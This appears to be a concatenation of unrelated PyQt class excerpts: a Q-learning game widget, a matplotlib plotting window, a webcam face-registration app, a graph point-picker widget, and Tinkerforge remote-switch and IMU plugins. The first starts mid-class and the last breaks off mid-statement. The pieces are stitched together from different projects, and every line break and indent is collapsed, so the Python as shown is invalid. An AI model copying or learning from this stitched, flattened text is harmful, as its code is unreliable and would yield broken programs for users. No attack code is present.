self._game_screen.set_cell_value(pos[0], pos[1], reward) def _next_step_click(self): self.user_interacted.emit() self._stop_playing() self._next_step() def _next_step(self): if self._logic.done: self._q_learning.reset() else: old_x, old_y = self._logic.scrat_position # pylint: disable=W0612 reward, done, info = self._q_learning.step() new_value = max(self._q_learning.get_q_values((old_x, old_y))) # updating value on the cell in game field self._game_screen.set_cell_value(old_x, old_y, new_value) # updating q-visualization self._qlabels.values_updates(old_x, old_y) self.made_step_signal.emit() def _stop_playing(self): if self._playing: self._playing = False self._timer.stop() self._play_button.updatePic(settings.PLAY_BUTTON_IMAGE) def reset(self): """Reset game state and send signal that state changed""" self._stop_playing() self._q_learning.reset() self.made_step_signal.emit() def full_reset(self): """Reinitialize logic randomly""" self._stop_playing() self._logic.full_reset() self._q_learning.reset_q() self.init_cells() self.made_step_signal.emit() def _play(self): self.user_interacted.emit() if self._playing: self._playing = False self._timer.stop() self._play_button.updatePic(settings.PLAY_BUTTON_IMAGE) return self._playing = True self._timer.start(settings.Q_LEARNING_PLAY_SPEED) self._play_button.updatePic(settings.STOP_BUTTON_IMAGE)
class AppWindow(QMainWindow,Ui_MainWindow): def __init__(self,parent=None): super(AppWindow,self).__init__(parent) self.setupUi(self) # ^O^ static_fig can changed to any other function #self.fig1=static_fig(width=5, height=4, dpi=100) self.fig1 = static_fig(width=5, height=3, dpi=72) self.fig2 = dynamic_fig(width=5, height=3, dpi=72) # add NavigationToolbar in the figure (widgets) self.fig_ntb1 = NavigationToolbar(self.fig1, self) self.fig_ntb2 = NavigationToolbar(self.fig2, self) #self.Start_plot.clicked.connect(self.plot_cos) # add the static_fig in the Plot box self.gridlayout1=QGridLayout(self.Plot_static) self.gridlayout1.addWidget(self.fig1) self.gridlayout1.addWidget(self.fig_ntb1) # add the dynamic_fig in the Plot box self.gridlayout2 = QGridLayout(self.Plot_dynamic) self.gridlayout2.addWidget(self.fig2) self.gridlayout2.addWidget(self.fig_ntb2) # initialized flags for static/dynamic plot: on is 1,off is 0 self._timer = QTimer(self) self._t = 1 self._counts = [] self._delay_t = [] self._Static_on=0 self._update_on=0 @pyqtSlot() def on_Static_plot_clicked(self): self.plot_cos() self._Static_on=1 #self.Start_plot.setEnabled(False) global nc nc=1 def plot_cos(self): #print('nc=%d\n' %self.nc) global nc nc+=1 self.fig1.axes.cla() self.t=np.arange(0,15,0.1) self.y=2*nc*self.t-self.t*np.cos(self.t/2/np.pi*1000) self.fig1.axes.plot(self.t,self.y) self.fig1.axes.set_title("signals",fontsize=18,color='c') self.fig1.axes.set_xlabel("delay(s)",fontsize=18,color='c') self.fig1.axes.set_ylabel("counts",fontsize=18,color='c') self.fig1.draw() @pyqtSlot() def on_dynamic_plot_clicked(self): print('start dynamic ploting') self.Static_plot.setEnabled(False) self.dynamic_plot.setEnabled(False) # start update figure every 1s; flag "update_on" : 1 is on and 0 is Off self._update_on = 1 self._timer.timeout.connect(self.update_fig) self._timer.start(1000) # plot after 1s delay def update_fig(self): self._t+=1 print(self._t) self._delay_t.append(self._t) print(self._delay_t) #new_counts=random.randint(100,900) new_counts= 2 * self._t - self._t * np.cos(self._t / 2 / np.pi * 1000) self._counts.append(new_counts) print(self._counts) self.fig2.axes.cla() self.fig2.axes.plot(self._delay_t,self._counts,'-ob') self.fig2.axes.set_title("signals",fontsize=18,color='c') self.fig2.axes.set_xlabel("delay(s)",fontsize=18,color='c') self.fig2.axes.set_ylabel("counts",fontsize=18,color='c') self.fig2.draw() @pyqtSlot() def on_End_plot_clicked(self): if self._update_on==1: self._update_on=0 self._timer.timeout.disconnect(self.update_fig) self.dynamic_plot.setEnabled(True) else: pass @pyqtSlot() def on_Erase_plot_clicked(self): self.fig1.axes.cla() self.fig1.draw() self.fig2.axes.cla() self.fig2.draw() if self._update_on==1: self._update_on=0 self._delay_t=[] self._counts=[] self.fig2.axes.cla() self.fig2.draw() self._timer.timeout.disconnect(self.update_fig) self.dynamic_plot.setEnabled(True) else: pass self.Static_plot.setEnabled(True)
class MainWindow(QWidget, form_class): # class constructor def __init__(self): # call QWidget constructor super().__init__() self.setupUi(self) self.edit.setText("Input name") self.data_dir = "dataset/" self.model_path = "dataset/trained_knn_model.clf" # create a timer # set timer timeout callback function # viewCam함수 즉, 화면 출력을 위한 timer self.view_timer = QTimer() self.view_timer.timeout.connect(self.viewCam) self.detect_timer = QTimer() self.detect_timer.timeout.connect(self.Detection) # save 버튼을 누르는지 보기위한 timer self.save_timer = QTimer() self.save_timer.timeout.connect(self.saveName) # progressBar에 숫자를 표시해주기위한 timer self.progress_timer = QTimer() self.progress_timer.timeout.connect(self.progress) self.controlTimer() self.list() # set detection callback clicked function # face registration 버튼을 누르면 faceRegistration 함수 호출 self.registration.clicked.connect(self.faceRegistration) # detection 버튼을 누르면 faceDetection 함수 호출 self.detection.clicked.connect(self.faceDetection) # Setup process and queues for multiprocessing. self.save_queue = Queue() self.progress_queue = Queue() # 얼굴 등록시 화면에서 계속 영상이 나오도록 등록 process를 따로 만들어줌 self.save_process = Process(target=train, args=(self.save_queue, self.progress_queue, self.data_dir, self.model_path, 2)) self.save_process.start() # progress bar에 표시해줄 숫자를 받아옴 def progress(self): num = self.progress_queue.get() if num == 10000: self.log_browser.setText("등록완료") self.progress_timer.stop() self.progressBar.setProperty("value", num) # 등록한 사람들의 이름 리스트를 보여줌 def list(self): msg = "" for class_dir in os.listdir(self.data_dir): if os.path.isdir(self.data_dir + class_dir): msg += str(class_dir + '\n') self.namelist.setText(msg) def faceDetection(self): # detect_timer가 stop상태이면 start시켜 detection 함수 호출 if not self.detect_timer.isActive(): if os.path.isfile(self.model_path) == False: self.log_browser.setText("model이 존재하지 않습니다. 등록하세요") else: self.log_browser.setText("[INFO] Start face detection") self.detect_timer.start(0.1) self.detection.setText("Stop") # detection 버튼을 다시 누르면 detect_timer가 start상태이므로 stop으로 변경 else: self.detect_timer.stop() self.log_browser.setText("[INFO] Stop face detection") self.detection.setText("Start Detection") def Detection(self): # Grab a single frame of video ret, frame = self.cap.read() frame = cv2.flip(frame, 2) if ret is False: self.detect_timer.stop() self.log_browser.setText("[INFO] Detection is over...") self.detection.setText("Start Detection") # Resize frame of video to 1/4 size for faster face recognition processing try: small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25) # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses) rgb_small_frame = small_frame[:, :, ::-1] except Exception as e: print(str(e)) # Find all the faces and face encodings in the current frame of video using a trained classifier model # Note: You can pass in either a classifier file name or a classifier model instance predictions = predict(rgb_small_frame, model_path=self.model_path) # 화면의 사람을 예측하여 얼굴에 bounding box로 표시 # Display results overlaid on an image for name, (top, right, bottom, left) in predictions: # Scale back up face locations since the frame we detected in was scaled to 1/4 size top *= 4 right *= 4 bottom *= 4 left *= 4 # Draw a box around the face cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2) # Draw a label with a name below the face cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED) font = cv2.FONT_HERSHEY_DUPLEX cv2.putText(frame, name, (left + 6, bottom - 6), font, 1.0, (255, 255, 255), 1) # cv2에서는 BGR이므로 RGB로 바꿈 frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # get image infos height, width, channel = frame.shape step = channel * width # create QImage from image qImg = QImage(frame, width, height, step, QImage.Format_RGB888) # show image in img_label self.image_label.setPixmap(QPixmap(qImg)) self.detect_timer.start(0.1) # 이름을 쓰고 save버튼을 누를때까지 timer작동 def saveName(self): self.log_browser.setText("이름을 입력하세요") self.progressBar.setProperty("value", 0) success = False if self.save_bt.isDown() is True: self.log_browser.setText("잠시만 기다리세요") name = self.edit.text() self.save_timer.stop() # print(name) for i in range(10): ret, frame = self.cap.read() frame = cv2.flip(frame, 2) image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) image = Image.fromarray(image) bounding_boxes = face_recognition.face_locations(frame) # 등록시 화면에 한명이 아닌경우 if len(bounding_boxes) != 1: self.log_browser.setText("등록실패! 한명만 시도하십시오") success = False break success = True image_name = "{:%Y%m%dT%H%M%S}_{}.jpg".format( datetime.datetime.now(), i) if not os.path.isdir(self.data_dir + name): os.mkdir(self.data_dir + name) image.save(self.data_dir + name + '/' + image_name) # 등록에 성공한 경우에만 progress_timer start if success: self.progress_timer.start(0.1) # save_queue에 무언가를 넣어줌으로써 train함수 작동 self.save_queue.put(1) self.list() # save_timer를 작동시킴 def faceRegistration(self): self.save_timer.start(0.1) self.log_browser.setText("Start face registration") def closeEvent(self, event): self.save_process.terminate() self.save_process.join() self.view_timer.stop() self.detect_timer.stop() self.save_timer.stop() self.cap.release() # view camera def viewCam(self): ret, frame = self.cap.read() # 화면을 읽어오기 - 실패시 ret가 false if ret is False: self.view_timer.stop() self.cap.release() self.log_browser.setText("[INFO] video is over...") # If frame comes from webcam, flip it so it looks like a mirror. frame = cv2.flip(frame, 2) # 화면 반전 # OpenCV에서는 BGR 순서로 저장하니까 BGR을 RGB로 frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # get image infos height, width, channel = frame.shape step = channel * width # create QImage from image qImg = QImage(frame.data, width, height, step, QImage.Format_RGB888) # show image in img_label # QLabel은 이미지를 표시하는 라벨 위젯 self.image_label.setPixmap(QPixmap.fromImage(qImg)) # start/stop timer def controlTimer(self): # create video capture print("[INFO] starting video stream thread...") self.log_browser.setText("[INFO] starting video stream thread...") self.cap = cv2.VideoCapture(-1) # cam 연결 self.cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640) # 화면 크기 설정 # start timer self.view_timer.start(20) # view_timer start
class MyPointer(QWidget): '''グラフにドロップできるポインタ ドロップされると点にsnapしてx,yに点の座標を表示する''' COLOR = 'yellow' ALPHA = 0.5 SIZE = 18 def __init__(self): super().__init__() row = QHBoxLayout() xlabel = QLabel('X:') self.xEdit = QTextEdit() self.xEdit.setReadOnly(True) self.xEdit.setFixedHeight(30) self.xEdit.setSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed) ylabel = QLabel('Y:') self.yEdit = QTextEdit() self.yEdit.setReadOnly(True) self.yEdit.setFixedHeight(30) self.yEdit.setSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed) button = QPushButton('✖') button.pressed.connect(self.reset) row.addWidget(xlabel) row.addWidget(self.xEdit) row.addWidget(ylabel) row.addWidget(self.yEdit) row.addWidget(button) row.addStretch(1) self.setLayout(row) def reset(self): try: self.point.remove() self.xEdit.setText(None) self.yEdit.setText(None) self.canvas.draw() except: pass def setXY(self, event): if not len(event.ind): return True self.ax = event.artist.axes try: #すでにpointがあるとき if self.point.axes == self.ax: #同じaxにpointがあるとき pass else: #前と違うaxでクリックされた時 self.point.remove() self.point, = self.ax.plot([], [], 'o', ms=self.SIZE, alpha=self.ALPHA, color=self.COLOR, visible=False) except: #初めてクリックした時 self.point, = self.ax.plot([], [], 'o', ms=self.SIZE, alpha=self.ALPHA, color=self.COLOR, visible=False) ind = event.ind[0] x = event.artist.get_xdata()[ind] y = event.artist.get_ydata()[ind] self.target = event.artist self.ind = ind clicked = (x, y) self.point.set_visible(True) self.point.set_data(clicked) self.canvas.draw() self.xEdit.setText(str(x)) self.yEdit.setText(str(y)) def startMove(self, event): try: self.timer.stop() except: pass self.timer = QTimer(self) if event.key == 'right': self.timer.timeout.connect(self.moveRight) elif event.key == 'left': self.timer.timeout.connect(self.moveLeft) self.timer.start(70) def stopMove(self, event): self.timer.stop() def moveRight(self): try: self.ind += 1 x = self.target.get_xdata()[self.ind] y = self.target.get_ydata()[self.ind] self.point.set_data(x, y) self.canvas.draw() self.xEdit.setText(str(x)) self.yEdit.setText(str(y)) except: pass def moveLeft(self): try: self.ind -= 1 x = self.target.get_xdata()[self.ind] y = self.target.get_ydata()[self.ind] self.point.set_data(x, y) self.canvas.draw() self.xEdit.setText(str(x)) self.yEdit.setText(str(y)) except: pass def activate(self, canvas): self.show() self.canvas = canvas self.pick = self.canvas.mpl_connect('pick_event', self.setXY) self.key_press = self.canvas.mpl_connect('key_press_event', self.startMove) self.key_release = self.canvas.mpl_connect('key_release_event', self.stopMove) self.canvas.setFocusPolicy(Qt.ClickFocus) self.canvas.setFocus() def deactivate(self): self.hide() self.reset() try: self.canvas.mpl_disconnect(self.pick) self.canvas.mpl_disconnect(self.key_press) self.canvas.mpl_disconnect(self.key_release) except: pass
class RemoteSwitchV2(COMCUPluginBase, Ui_RemoteSwitchV2): qtcb_switching_done = pyqtSignal() def __init__(self, *args): COMCUPluginBase.__init__(self, BrickletRemoteSwitchV2, *args) self.setupUi(self) self.rs2 = self.device self.qtcb_switching_done.connect(self.cb_switching_done) self.rs2.register_callback(self.rs2.CALLBACK_SWITCHING_DONE, self.qtcb_switching_done.emit) self.h_check = (self.h_check_a, self.h_check_b, self.h_check_c, self.h_check_d, self.h_check_e) self.r_check = (self.r_check_a, self.r_check_b, self.r_check_c, self.r_check_d, self.r_check_e) for h in self.h_check: h.stateChanged.connect(self.h_check_state_changed) for r in self.r_check: r.stateChanged.connect(self.r_check_state_changed) self.checkbox_switchall.stateChanged.connect(self.switchall_state_changed) self.spinbox_house.valueChanged.connect(self.house_value_changed) self.spinbox_receiver.valueChanged.connect(self.receiver_value_changed) self.combo_type.currentIndexChanged.connect(self.type_index_changed) self.spinbox_dim_value.valueChanged.connect(self.spinbox_dim_value_changed) self.slider_dim_value.valueChanged.connect(self.slider_dim_value_changed) self.button_switch_on.clicked.connect(lambda: self.button_clicked(1)) self.button_switch_off.clicked.connect(lambda: self.button_clicked(0)) self.button_dim.clicked.connect(self.dim_clicked) self.combo_remote_type.currentIndexChanged.connect(self.remote_type_changed) self.button_remote_input_clear.clicked.connect(self.plaintextedit_remote_input.clear) self.current_remote_type = None self.timer_get_remote_input = QTimer(self) self.timer_get_remote_input.timeout.connect(self.timeout_get_remote_input) self.timer_get_remote_input.setInterval(50) self.last_remote_input = { 'a': { 'house_code': None, 'receiver_code': None, 'switch_to': None, 'repeats': None }, 'b': { 'address': None, 'unit': None, 'switch_to': None, 'dim_value': None, 'repeats': None }, 'c': { 'system_code': None, 'device_code': None, 'switch_to': None, 'repeats': None } } self.type_a_widgets = [self.label_house_code, self.h_check_a, self.h_check_b, self.h_check_c, self.h_check_d, self.h_check_e, self.spinbox_house, self.label_receiver_code, self.r_check_a, self.r_check_b, self.r_check_c, self.r_check_d, self.r_check_e, self.spinbox_receiver, self.button_switch_on, self.button_switch_off] self.type_b_widgets = [self.label_address, self.spinbox_address, self.label_unit, self.spinbox_unit, self.checkbox_switchall, self.button_switch_on, self.button_switch_off] self.type_b_dim_widgets = [self.label_address, self.spinbox_address, self.label_unit, self.spinbox_unit, self.checkbox_switchall, self.label_dim, self.spinbox_dim_value, self.slider_dim_value, self.button_dim] self.type_c_widgets = [self.label_system_code, self.combo_system_code, self.label_device_code, self.spinbox_device_code, self.button_switch_on, self.button_switch_off] self.type_widgets = (self.type_a_widgets, self.type_b_widgets, self.type_b_dim_widgets, self.type_c_widgets) self.type_index_changed(0) def spinbox_dim_value_changed(self, value): self.slider_dim_value.setValue(value) def slider_dim_value_changed(self, value): self.spinbox_dim_value.setValue(value) def type_index_changed(self, index): for i in range(len(self.type_widgets)): if i != index: for w in self.type_widgets[i]: w.setVisible(False) for w in self.type_widgets[index]: w.setVisible(True) def house_value_changed(self, state): for i in range(5): if state & (1 << i): self.h_check[i].setChecked(True) else: self.h_check[i].setChecked(False) def receiver_value_changed(self, state): for i in range(5): if state & (1 << i): self.r_check[i].setChecked(True) else: self.r_check[i].setChecked(False) def switchall_state_changed(self, state): if self.checkbox_switchall.isChecked(): self.spinbox_address.setEnabled(False) self.spinbox_unit.setEnabled(False) else: self.spinbox_address.setEnabled(True) self.spinbox_unit.setEnabled(True) def h_check_state_changed(self, state): house_code = 0 for i in range(5): if self.h_check[i].isChecked(): house_code |= (1 << i) self.spinbox_house.setValue(house_code) def r_check_state_changed(self, state): receiver_code = 0 for i in range(5): if self.r_check[i].isChecked(): receiver_code |= (1 << i) self.spinbox_receiver.setValue(receiver_code) def get_remote_configuration_async(self, remote_config): self.current_remote_type = remote_config.remote_type self.spinbox_remote_minimum_repeats.setValue(remote_config.minimum_repeats) if remote_config.remote_type == self.rs2.REMOTE_TYPE_A: self.combo_remote_type.setCurrentIndex(self.rs2.REMOTE_TYPE_A) elif remote_config.remote_type == self.rs2.REMOTE_TYPE_B: self.combo_remote_type.setCurrentIndex(self.rs2.REMOTE_TYPE_B) elif remote_config.remote_type == self.rs2.REMOTE_TYPE_C: self.combo_remote_type.setCurrentIndex(self.rs2.REMOTE_TYPE_C) def start(self): async_call(self.rs2.get_remote_configuration, None, self.get_remote_configuration_async, self.increase_error_count) self.timer_get_remote_input.start() def stop(self): self.timer_get_remote_input.stop() def destroy(self): pass def dim_clicked(self): self.button_dim.setEnabled(False) self.button_dim.setText("Dimming...") repeats = self.spinbox_repeats.value() self.rs2.set_repeats(repeats) if self.combo_type.currentIndex() == 2: address = self.spinbox_address.value() unit = self.spinbox_unit.value() if self.checkbox_switchall.isChecked(): address = 0 unit = 255 dim_value = self.spinbox_dim_value.value() self.rs2.dim_socket_b(address, unit, dim_value) def remote_type_changed(self, index): self.current_remote_type = index remote_config = self.rs2.get_remote_configuration() self.rs2.set_remote_configuration(index, remote_config.minimum_repeats, remote_config.callback_enabled) remote_config = self.rs2.get_remote_configuration() def get_remote_status_a_async(self, remote_config): if remote_config.repeats <= self.spinbox_remote_minimum_repeats.value(): return if self.last_remote_input['a']['house_code'] == remote_config.house_code and \ self.last_remote_input['a']['receiver_code'] == remote_config.receiver_code and \ self.last_remote_input['a']['switch_to'] == remote_config.switch_to and \ self.last_remote_input['a']['repeats'] == remote_config.repeats: return if self.last_remote_input['a']['house_code'] == None and \ self.last_remote_input['a']['receiver_code'] == None and \ self.last_remote_input['a']['switch_to'] == None and \ self.last_remote_input['a']['repeats'] == None: self.last_remote_input['a']['house_code'] = remote_config.house_code self.last_remote_input['a']['receiver_code'] = remote_config.receiver_code self.last_remote_input['a']['switch_to'] = remote_config.switch_to self.last_remote_input['a']['repeats'] = remote_config.repeats return self.last_remote_input['a']['house_code'] = remote_config.house_code self.last_remote_input['a']['receiver_code'] = remote_config.receiver_code self.last_remote_input['a']['switch_to'] = remote_config.switch_to self.last_remote_input['a']['repeats'] = remote_config.repeats remote_input = '''Remote Type - A: House code = {house_code} Receiver code = {receiver_code} Switch to = {switch_to} Repeats = {repeats} '''.format(house_code=remote_config.house_code, receiver_code=remote_config.receiver_code, switch_to=remote_config.switch_to, repeats=remote_config.repeats) self.plaintextedit_remote_input.appendPlainText(remote_input) self.plaintextedit_remote_input.moveCursor(QTextCursor.End) def get_remote_status_b_async(self, remote_config): if remote_config.repeats <= self.spinbox_remote_minimum_repeats.value(): return if self.last_remote_input['b']['address'] == remote_config.address and \ self.last_remote_input['b']['unit'] == remote_config.unit and \ self.last_remote_input['b']['switch_to'] == remote_config.switch_to and \ self.last_remote_input['b']['dim_value'] == remote_config.dim_value and \ self.last_remote_input['b']['repeats'] == remote_config.repeats: return if self.last_remote_input['b']['address'] == None and \ self.last_remote_input['b']['unit'] == None and \ self.last_remote_input['b']['switch_to'] == None and \ self.last_remote_input['b']['dim_value'] == None and \ self.last_remote_input['b']['repeats'] == None: self.last_remote_input['b']['address'] = remote_config.address self.last_remote_input['b']['unit'] = remote_config.unit self.last_remote_input['b']['switch_to'] = remote_config.switch_to self.last_remote_input['b']['dim_value'] = remote_config.dim_value self.last_remote_input['b']['repeats'] = remote_config.repeats return self.last_remote_input['b']['address'] = remote_config.address self.last_remote_input['b']['unit'] = remote_config.unit self.last_remote_input['b']['switch_to'] = remote_config.switch_to self.last_remote_input['b']['dim_value'] = remote_config.dim_value self.last_remote_input['b']['repeats'] = remote_config.repeats remote_input = '''Remote Type - B: Address = {address} Unit = {unit} Switch to = {switch_to} Dim value = {dim_value} Repeats = {repeats} '''.format(address=remote_config.address, unit=remote_config.unit, switch_to=remote_config.switch_to, dim_value=remote_config.dim_value, repeats=remote_config.repeats) self.plaintextedit_remote_input.appendPlainText(remote_input) self.plaintextedit_remote_input.moveCursor(QTextCursor.End) def get_remote_status_c_async(self, remote_config): if remote_config.repeats <= self.spinbox_remote_minimum_repeats.value(): return if self.last_remote_input['c']['system_code'] == remote_config.system_code and \ self.last_remote_input['c']['device_code'] == remote_config.device_code and \ self.last_remote_input['c']['switch_to'] == remote_config.switch_to and \ self.last_remote_input['c']['repeats'] == remote_config.repeats: return if self.last_remote_input['c']['system_code'] == None and \ self.last_remote_input['c']['device_code'] == None and \ self.last_remote_input['c']['switch_to'] == None and \ self.last_remote_input['c']['repeats'] == None: self.last_remote_input['c']['system_code'] = remote_config.system_code self.last_remote_input['c']['device_code'] = remote_config.device_code self.last_remote_input['c']['switch_to'] = remote_config.switch_to self.last_remote_input['c']['repeats'] = remote_config.repeats return self.last_remote_input['c']['system_code'] = remote_config.system_code self.last_remote_input['c']['device_code'] = remote_config.device_code self.last_remote_input['c']['switch_to'] = remote_config.switch_to self.last_remote_input['c']['repeats'] = remote_config.repeats remote_input = '''Remote Type - C: System code = {system_code} Device code = {device_code} Switch to = {switch_to} Repeats = {repeats} '''.format(system_code=remote_config.system_code, device_code=remote_config.device_code, switch_to=remote_config.switch_to, repeats=remote_config.repeats) self.plaintextedit_remote_input.appendPlainText(remote_input) self.plaintextedit_remote_input.moveCursor(QTextCursor.End) def timeout_get_remote_input(self): if self.current_remote_type == self.rs2.REMOTE_TYPE_A: async_call(self.rs2.get_remote_status_a, None, self.get_remote_status_a_async, self.increase_error_count) elif self.current_remote_type == self.rs2.REMOTE_TYPE_B: async_call(self.rs2.get_remote_status_b, None, self.get_remote_status_b_async, self.increase_error_count) elif self.current_remote_type == self.rs2.REMOTE_TYPE_C: async_call(self.rs2.get_remote_status_c, None, self.get_remote_status_c_async, self.increase_error_count) def button_clicked(self, switch_to): self.button_switch_on.setEnabled(False) self.button_switch_on.setText("Switching...") self.button_switch_off.setEnabled(False) self.button_switch_off.setText("Switching...") repeats = self.spinbox_repeats.value() self.rs2.set_repeats(repeats) if self.combo_type.currentText() == 'A Switch': house_code = self.spinbox_house.value() receiver_code = self.spinbox_receiver.value() self.rs2.switch_socket_a(house_code, receiver_code, switch_to) elif self.combo_type.currentText() == 'B Switch': address = self.spinbox_address.value() unit = self.spinbox_unit.value() if self.checkbox_switchall.isChecked(): address = 0 unit = 255 self.rs2.switch_socket_b(address, unit, switch_to) elif self.combo_type.currentText() == 'C Switch': system_code = self.combo_system_code.currentText()[0] device_code = self.spinbox_device_code.value() self.rs2.switch_socket_c(system_code, device_code, switch_to) def cb_switching_done(self): self.button_switch_on.setEnabled(True) self.button_switch_on.setText("Switch On") self.button_switch_off.setEnabled(True) self.button_switch_off.setText("Switch Off") self.button_dim.setEnabled(True) self.button_dim.setText("Dim") @staticmethod def has_device_identifier(device_identifier): return device_identifier == BrickletRemoteSwitchV2.DEVICE_IDENTIFIER
class IMUV2(PluginBase, Ui_IMUV2): def __init__(self, *args): PluginBase.__init__(self, BrickIMUV2, *args) self.setupUi(self) self.imu = self.device self.cbe_all_data = CallbackEmulator(self.imu.get_all_data, None, self.cb_all_data, self.increase_error_count) self.imu_gl = IMUV23DWidget(self) self.imu_gl.setFixedSize(200, 200) self.imu_gl_wrapper = None self.state = None self.data_plot_widget = [] self.sensor_data = [CurveValueWrapper() for i in range(23)] self.data_labels = [self.label_acceleration_x, self.label_acceleration_y, self.label_acceleration_z, self.label_magnetic_field_x, self.label_magnetic_field_y, self.label_magnetic_field_z, self.label_angular_velocity_x, self.label_angular_velocity_y, self.label_angular_velocity_z, self.label_euler_angle_heading, self.label_euler_angle_roll, self.label_euler_angle_pitch, self.label_quaternion_w, self.label_quaternion_x, self.label_quaternion_y, self.label_quaternion_z, self.label_linear_acceleration_x, self.label_linear_acceleration_y, self.label_linear_acceleration_z, self.label_gravity_vector_x, self.label_gravity_vector_y, self.label_gravity_vector_z, self.label_temperature] self.data_rows = [[self.label_acceleration_11, self.label_acceleration_21, self.label_acceleration_22, self.label_acceleration_23, self.label_acceleration_41, self.label_acceleration_42, self.label_acceleration_43, self.label_acceleration_x, self.label_acceleration_y, self.label_acceleration_z], [self.label_magnetic_field_11, self.label_magnetic_field_21, self.label_magnetic_field_22, self.label_magnetic_field_23, self.label_magnetic_field_41, self.label_magnetic_field_42, self.label_magnetic_field_43, self.label_magnetic_field_x, self.label_magnetic_field_y, self.label_magnetic_field_z], [self.label_angular_velocity_11, self.label_angular_velocity_21, self.label_angular_velocity_22, self.label_angular_velocity_23, self.label_angular_velocity_41, self.label_angular_velocity_42, self.label_angular_velocity_43, self.label_angular_velocity_x, self.label_angular_velocity_y, self.label_angular_velocity_z], [self.label_euler_angle_11, self.label_euler_angle_21, self.label_euler_angle_22, self.label_euler_angle_23, self.label_euler_angle_41, self.label_euler_angle_42, self.label_euler_angle_43, self.label_euler_angle_roll, self.label_euler_angle_pitch, self.label_euler_angle_heading], [self.label_quaternion_11, self.label_quaternion_21, self.label_quaternion_22, self.label_quaternion_23, self.label_quaternion_24, self.label_quaternion_41, self.label_quaternion_42, self.label_quaternion_43, self.label_quaternion_44, self.label_quaternion_w, self.label_quaternion_x, self.label_quaternion_y, self.label_quaternion_z], [self.label_linear_acceleration_11, self.label_linear_acceleration_21, self.label_linear_acceleration_22, self.label_linear_acceleration_23, self.label_linear_acceleration_41, self.label_linear_acceleration_42, self.label_linear_acceleration_43, self.label_linear_acceleration_x, self.label_linear_acceleration_y, self.label_linear_acceleration_z], [self.label_gravity_vector_11, self.label_gravity_vector_21, self.label_gravity_vector_22, self.label_gravity_vector_23, self.label_gravity_vector_41, self.label_gravity_vector_42, self.label_gravity_vector_43, self.label_gravity_vector_x, self.label_gravity_vector_y, self.label_gravity_vector_z], [self.label_temperature_11, self.label_temperature_21, self.label_temperature_41, self.label_temperature]] even_color = QColor(240, 240, 240) odd_color = QColor(255, 255, 255) self.data_color = [(Qt.red, even_color), (Qt.darkGreen, even_color), (Qt.blue, even_color), (Qt.red, odd_color), (Qt.darkGreen, odd_color), (Qt.blue, odd_color), (Qt.red, even_color), (Qt.darkGreen, even_color), (Qt.blue, even_color), (Qt.red, odd_color), (Qt.darkGreen, odd_color), (Qt.blue, odd_color), (Qt.magenta, even_color), (Qt.red, even_color), (Qt.darkGreen, even_color), (Qt.blue, even_color), (Qt.red, odd_color), (Qt.darkGreen, odd_color), (Qt.blue, odd_color), (Qt.red, even_color), (Qt.darkGreen, even_color), (Qt.blue, even_color), (Qt.magenta, odd_color)] even_palette = QPalette() even_palette.setColor(QPalette.Window, even_color) odd_palette = QPalette() odd_palette.setColor(QPalette.Window, odd_color) for i, row in enumerate(self.data_rows): for label in row: if i % 2: label.setPalette(odd_palette) else: label.setPalette(even_palette) label.setAutoFillBackground(True) self.plot_timer = QTimer(self) self.plot_timer.start(100) for i in range(23): self.data_plot_widget.append(PlotWidget("", [("", self.data_color[i][0], self.sensor_data[i], str)], clear_button=self.clear_graphs, x_scale_visible=False, y_scale_visible=False, curve_outer_border_visible=False, curve_motion='smooth', canvas_color=self.data_color[i][1], external_timer=self.plot_timer, curve_start='right', key=None, y_resolution=0.01)) for w in self.data_plot_widget: w.setMinimumHeight(15) w.setMaximumHeight(25) for i in range(23): self.data_grid.addWidget(self.data_plot_widget[i], i, 4) self.data_grid.setColumnMinimumWidth(2, 75) self.gl_layout = QVBoxLayout() self.gl_layout.addWidget(self.imu_gl) self.layout_bottom.addLayout(self.gl_layout) self.save_orientation.clicked.connect(self.save_orientation_clicked) self.button_detach_3d_view.clicked.connect(self.detach_3d_view_clicked) self.checkbox_leds.stateChanged.connect(self.led_clicked) self.button_calibration.clicked.connect(self.calibration_clicked) self.calibration_color = [Qt.red, QColor(0xFF, 0xA0, 0x00), Qt.yellow, Qt.darkGreen] self.calibration = None self.alive = True self.callback_counter = 0 self.status_led_action = QAction('Status LED', self) self.status_led_action.setCheckable(True) self.status_led_action.toggled.connect(lambda checked: self.imu.enable_status_led() if checked else self.imu.disable_status_led()) self.set_configs([(0, None, [self.status_led_action])]) reset = QAction('Reset', self) reset.triggered.connect(self.imu.reset) self.set_actions([(0, None, [reset])]) def save_orientation_clicked(self): self.imu_gl.save_orientation() if self.imu_gl_wrapper is not None: self.imu_gl_wrapper.glWidget.save_orientation() self.orientation_label.hide() def cleanup_gl(self): self.state = self.imu_gl.get_state() self.imu_gl.hide() self.imu_gl.cleanup() def restart_gl(self): self.imu_gl = IMUV23DWidget() self.imu_gl.setFixedSize(200, 200) self.gl_layout.addWidget(self.imu_gl) self.imu_gl.show() self.save_orientation.clicked.connect(self.save_orientation_clicked) self.imu_gl.set_state(self.state) def start(self): if not self.alive: return self.parent().add_callback_on_untab(lambda x: self.cleanup_gl(), 'imu_v2_cleanup_on_untab') self.parent().add_callback_post_untab(lambda x: self.restart_gl(), 'imu_v2_restart_post_untab') self.parent().add_callback_on_tab(lambda x: self.cleanup_gl(), 'imu_v2_cleanup_on_tab') self.parent().add_callback_post_tab(lambda x: self.restart_gl(), 'imu_v2_restart_post_tab') self.gl_layout.activate() async_call(self.imu.is_status_led_enabled, None, self.status_led_action.setChecked, self.increase_error_count) async_call(self.imu.are_leds_on, None, self.checkbox_leds.setChecked, self.increase_error_count) self.cbe_all_data.set_period(50) for w in self.data_plot_widget: w.stop = False def stop(self): for w in self.data_plot_widget: w.stop = True if self.imu_gl_wrapper == None: self.cbe_all_data.set_period(0) def destroy(self): self.alive = False self.cleanup_gl() # Stop callback to fix deadlock with callback emulation thread. self.cbe_all_data.set_period(0) if self.calibration != None: self.calibration.close() if self.imu_gl_wrapper != None: 